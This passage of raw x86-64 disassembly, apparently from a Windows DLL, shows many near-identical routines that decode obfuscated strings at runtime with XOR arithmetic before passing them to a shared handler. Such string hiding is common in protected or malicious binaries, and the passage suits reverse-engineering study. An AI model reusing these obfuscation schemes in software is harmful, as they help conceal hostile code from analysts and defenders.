paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17f4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17f0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180087010
lea rax, [rbp + 0x17f0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087050
lea rdx, [rbp + 0x17f0]
jmp 0x18008c521
cmp byte [0x1801b7145], sil
mov eax, dword [0x1801b7140]
movsd xmm0, qword [0x1801b7138]
mov dword [rbp + 0x1a58], eax
movzx eax, word [0x1801b7144]
mov word [rbp + 0x1a5c], ax
movsd qword [rbp + 0x1a50], xmm0
je 0x1800871d0
mov r8d, esi
cmp r12d, 2
jl 0x180087187
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7138]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a50], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a54]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800871a0
lea rax, [rbp + 0x1a50]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800871e0
lea rdx, [rbp + 0x1a50]
jmp 0x18008c521
cmp byte [0x1801b715b], sil
movups xmm0, xmmword [0x1801b7148]
mov eax, dword [0x1801b7158]
mov dword [rbp + 0x2320], eax
movups xmmword [rbp + 0x2310], xmm0
je 0x180087370
mov r8d, esi
cmp r12d, 2
jl 0x180087331
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2314]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180087240
cmp r8d, 0x14
jge 0x180087370
movsxd rax, r8d
lea r9, [rbp + 0x2310]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x180087340
lea rax, [rbp + 0x2310]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087380
lea rdx, [rbp + 0x2310]
jmp 0x18008c521
cmp byte [0x1801b716d], sil
mov eax, dword [0x1801b7168]
movsd xmm0, qword [0x1801b7160]
mov dword [rbp + 0x1a68], eax
movzx eax, word [0x1801b716c]
mov word [rbp + 0x1a6c], ax
movsd qword [rbp + 0x1a60], xmm0
je 0x180087500
mov r8d, esi
cmp r12d, 2
jl 0x1800874b7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7160]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a60], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a64]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a60]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800874d0
lea rax, [rbp + 0x1a60]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087510
lea rdx, [rbp + 0x1a60]
jmp 0x18008c521
cmp byte [0x1801b7183], sil
movups xmm0, xmmword [str.qRFW_Y_]
mov eax, dword [0x1801b7180]
mov dword [rbp + 0x2338], eax
movups xmmword [rbp + 0x2328], xmm0
je 0x1800876a0
mov r8d, esi
cmp r12d, 2
jl 0x180087661
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x232c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180087570
cmp r8d, 0x14
jge 0x1800876a0
movsxd rax, r8d
lea r9, [rbp + 0x2328]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x180087670
lea rax, [rbp + 0x2328]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800876b0
lea rdx, [rbp + 0x2328]
jmp 0x18008c521
mov eax, dword [0x1801b7190]
mov r8d, esi
movsd xmm0, qword [str.sWBTXT__]
mov dword [rbp + 0x1c78], eax
movzx eax, word [0x1801b7194]
mov word [rbp + 0x1c7c], ax
movzx eax, byte [0x1801b7196]
mov byte [rbp + 0x1c7e], al
movsd qword [rbp + 0x1c70], xmm0
cmp r12d, 2
jl 0x1800877e7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sWBTXT__]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c70], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c70]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180087800
lea rax, [rbp + 0x1c70]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087840
lea rdx, [rbp + 0x1c70]
jmp 0x18008c521
movups xmm0, xmmword [str.aCQV_VT]
movups xmmword [rbp + 0x1e40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800879d0
cmp r12d, 2
jl 0x18008798b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e44]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800878a0
jmp 0x1800879d0
lea r9, [rbp + 0x1e40]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800879a0
lea rax, [rbp + 0x1e40]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800879e0
lea rdx, [rbp + 0x1e40]
jmp 0x18008c521
cmp byte [0x1801b71bd], sil
mov eax, dword [0x1801b71b8]
movups xmm0, xmmword [0x1801b71a8]
mov dword [rbp + 0x2530], eax
movzx eax, word [0x1801b71bc]
movups xmmword [rbp + 0x2520], xmm0
mov word [rbp + 0x2534], ax
je 0x180087b80
mov r8d, esi
cmp r12d, 2
jl 0x180087b41
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2524]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180087a50
cmp r8d, 0x16
jge 0x180087b80
movsxd rax, r8d
lea r9, [rbp + 0x2520]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x180087b50
lea rax, [rbp + 0x2520]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087b90
lea rdx, [rbp + 0x2520]
jmp 0x18008c521
cmp byte [0x1801b71cd], sil
mov eax, dword [0x1801b71c8]
movsd xmm0, qword [0x1801b71c0]
mov dword [rbp + 0x1a78], eax
movzx eax, word [0x1801b71cc]
mov word [rbp + 0x1a7c], ax
movsd qword [rbp + 0x1a70], xmm0
je 0x180087d10
mov r8d, esi
cmp r12d, 2
jl 0x180087cc7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b71c0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a70], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a70]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180087ce0
lea rax, [rbp + 0x1a70]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087d20
lea rdx, [rbp + 0x1a70]
jmp 0x18008c521
cmp byte [0x1801b71e3], sil
movups xmm0, xmmword [str.pFXYFBH]
mov eax, dword [0x1801b71e0]
mov dword [rbp + 0x2350], eax
movups xmmword [rbp + 0x2340], xmm0
je 0x180087eb0
mov r8d, esi
cmp r12d, 2
jl 0x180087e71
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2344]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180087d80
cmp r8d, 0x14
jge 0x180087eb0
movsxd rax, r8d
lea r9, [rbp + 0x2340]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x180087e80
lea rax, [rbp + 0x2340]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180087ec0
lea rdx, [rbp + 0x2340]
jmp 0x18008c521
cmp byte [0x1801b71f5], sil
mov eax, dword [str.hRZQ__]
movsd xmm0, qword [str.qYEWTL]
mov dword [rbp + 0x1a88], eax
movzx eax, word [0x1801b71f4]
mov word [rbp + 0x1a8c], ax
movsd qword [rbp + 0x1a80], xmm0
je 0x180088040
mov r8d, esi
cmp r12d, 2
jl 0x180087ff7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.qYEWTL]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a80], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a84]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180088010
lea rax, [rbp + 0x1a80]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088050
lea rdx, [rbp + 0x1a80]
jmp 0x18008c521
mov eax, dword [0x1801b7200]
mov r8d, esi
movsd xmm0, qword [0x1801b71f8]
mov dword [rbp + 0x1c88], eax
movzx eax, word [0x1801b7204]
mov word [rbp + 0x1c8c], ax
movzx eax, byte [0x1801b7206]
mov byte [rbp + 0x1c8e], al
movsd qword [rbp + 0x1c80], xmm0
cmp r12d, 2
jl 0x180088187
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b71f8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c80], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c84]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800881a0
lea rax, [rbp + 0x1c80]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800881e0
lea rdx, [rbp + 0x1c80]
jmp 0x18008c521
cmp byte [0x1801b7213], sil
movsd xmm0, qword [0x1801b7208]
mov eax, dword [0x1801b7210]
movsd qword [rbp + 0x13f0], xmm0
mov dword [rbp + 0x13f8], eax
je 0x180088350
mov r8d, esi
cmp r12d, 2
jl 0x180088309
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7208]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x13f0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x13f4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x13f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180088320
lea rax, [rbp + 0x13f0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180088360
lea rdx, [rbp + 0x13f0]
jmp 0x18008c521
mov eax, dword [0x1801b7220]
mov r8d, esi
movsd xmm0, qword [str.fRWA_TYU]
mov dword [rbp + 0x1c98], eax
movzx eax, word [0x1801b7224]
mov word [rbp + 0x1c9c], ax
movzx eax, byte [0x1801b7226]
mov byte [rbp + 0x1c9e], al
movsd qword [rbp + 0x1c90], xmm0
cmp r12d, 2
jl 0x180088497
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
